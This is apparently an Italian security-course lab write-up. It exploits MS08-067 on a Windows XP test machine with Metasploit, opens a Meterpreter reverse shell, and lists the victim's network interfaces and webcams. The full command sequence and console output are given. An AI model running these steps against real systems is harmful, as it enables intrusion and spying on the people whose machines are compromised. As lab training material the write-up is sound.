



Progetto S7-L3

Esercizio

Data la facilità e ripetitività dei comandi, non mi fermerò a spiegare cosa fanno, ma piuttosto andiamo a vedere semplicemente gli screenshot con i comandi che ho fatto.

```
$ msfconsole
```

```
msf6 > search MS08-067
```

```
Matching Modules
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms08_067_netapi	2008-10-28	great	Yes	MS08-067 Microsoft Server Service Relative Path Stack Corruption

Interact with a module by name or index. For example `info 0`, `use 0` or `use exploit/windows/smb/ms08_067_netapi`

```
msf6 > use 0
```

```
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
```

Esercizio

```
msf6 exploit(windows/smb/ms08_067_netapi) > show options
```

Module options (exploit/windows/smb/ms08_067_netapi):

Name	Current Setting	Required	Description
RHOSTS	<input type="text" value="192.168.1.200"/>	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

```
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.1.200  
RHOSTS => 192.168.1.200
```



Esercizio

```
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.1.167:4444
[*] 192.168.1.200:445 - Automatically detecting the target...
[*] 192.168.1.200:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 192.168.1.200:445 - Selected Target: Windows XP SP3 Italian (NX)
[*] 192.168.1.200:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.1.200
[*] Meterpreter session 1 opened (192.168.1.167:4444 → 192.168.1.200:1045) at 2024-01-24 07:35:52 -0500
```

Esercizio

In realtà, la parte opzionale dell'esercizio consiste nel digitare il comando `webcam_list`, il quale fornirà un elenco di tutte le webcam in funzione sulla macchina che stiamo attaccando, ovvero XP.

```
meterpreter > ifconfig

Interface 1
=====
Name       : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU        : 1520
IPv4 Address : 127.0.0.1

Interface 2
=====
Name       : Scheda server Intel(R) PRO/1000 Gigabit - Miniport dell'Utilit di
pianificazione pacchetti
Hardware MAC : 08:00:27:a2:22:b0
MTU        : 1500
IPv4 Address : 192.168.1.200
IPv4 Netmask : 255.255.255.0

meterpreter > webcam_
webcam_chat    webcam_list    webcam_snap    webcam_stream
meterpreter > webcam_list
[-] No webcams were found
meterpreter >
```